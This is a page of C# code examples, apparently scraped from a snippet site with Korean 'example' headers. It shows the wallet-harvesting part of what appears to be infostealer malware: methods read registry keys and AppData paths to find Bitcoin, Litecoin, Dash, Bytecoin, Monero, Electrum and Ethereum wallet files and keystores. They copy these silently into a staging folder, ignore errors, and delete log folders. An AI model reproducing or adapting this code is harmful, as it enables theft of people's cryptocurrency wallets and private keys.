예제 #1
0
 private static void CopyFiles(string dir, string path)
 {
     if (File.Exists(path))
     {
         CombineEx.CreateDir(GlobalPath.CryptoDir);
         string fd = CombineEx.CombinationEx(GlobalPath.CryptoDir, dir);
         CombineEx.CreateDir(fd);
         try
         {
             int size = 0;
             if (!(new FileInfo(path).Length == size))
             {
                 CombineEx.FileCopy(path, CombineEx.CombinationEx(fd, Path.GetFileName(path)), true);
             }
         }
         catch { }
     }
 }
예제 #2
0
        public static void GetWallet()
        {
            #region Get Bitcoin

            using (var Bit = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Bit.OpenSubKey(BitcoinQT, Environment.Is64BitOperatingSystem ? true : false))
                {
                    using (RegistryKey Key2 = Bit.OpenSubKey(BitcointQT_x64, Environment.Is64BitOperatingSystem ? true : false))
                    {
                        CopyFiles("Bitcoin", CombineEx.CombinationEx(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat") ?? Path.Combine(Key2?.GetValue("Path")?.ToString(), "Space", "wallet.dat"));
                    }
                }
            }

            #endregion

            #region Get Litecoin

            using (var Lite = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Lite.OpenSubKey(LitecoinQt, Environment.Is64BitOperatingSystem ? true : false))
                {
                    CopyFiles("Litecoin", CombineEx.CombinationEx(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat"));
                }
            }

            #endregion

            #region Get Dashcoin

            using (var Dash = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Dash.OpenSubKey(DashcoinQt, Environment.Is64BitOperatingSystem ? true : false))
                {
                    CopyFiles("Dashcoin", CombineEx.CombinationEx(Key?.GetValue("strDataDir")?.ToString(), "wallet.dat"));
                }
            }

            #endregion

            #region Get Bytecoin

            using (var Byte = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Byte.OpenSubKey(Bytecoint, Environment.Is64BitOperatingSystem ? true : false))
                {
                    CopyFiles("Bytecoin", CombineEx.CombinationEx(Key?.GetValue("_2E72A52970B140DDB9F00AE0E5908B94")?.ToString(), "wallet.dat"));
                }
            }

            #endregion

            #region Get Monero

            using (var Monero = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
            {
                using (RegistryKey Key = Monero.OpenSubKey(Monerocoin, Environment.Is64BitOperatingSystem ? true : false))
                {
                    try
                    {
                        string kk     = Key?.GetValue("wallet_path")?.ToString().Replace("/", @"\");
                        string reslts = kk.Substring(0, kk.LastIndexOf("\\"));
                        MassEnumerate("Monero", reslts.Substring(0, reslts.LastIndexOf("\\")), "*.*");
                    }
                    catch { }
                }
            }

            #endregion

            #region Get Electrum

            MassEnumerate("Electrum", CombineEx.CombinationEx(GlobalPath.AppData, @"Electrum\wallets"), "*.*");

            #endregion

            #region Get Ethereum

            MassEnumerate("Ethereum", CombineEx.CombinationEx(GlobalPath.AppData, @"Ethereum\keystore"), "*.*");

            #endregion
        }
예제 #3
0
 public static void DeltaLogs(string NameFolder, bool True = true) => CombineEx.DeleteDir(CombineEx.CombinationEx(GlobalPath.User_Name, NameFolder), True);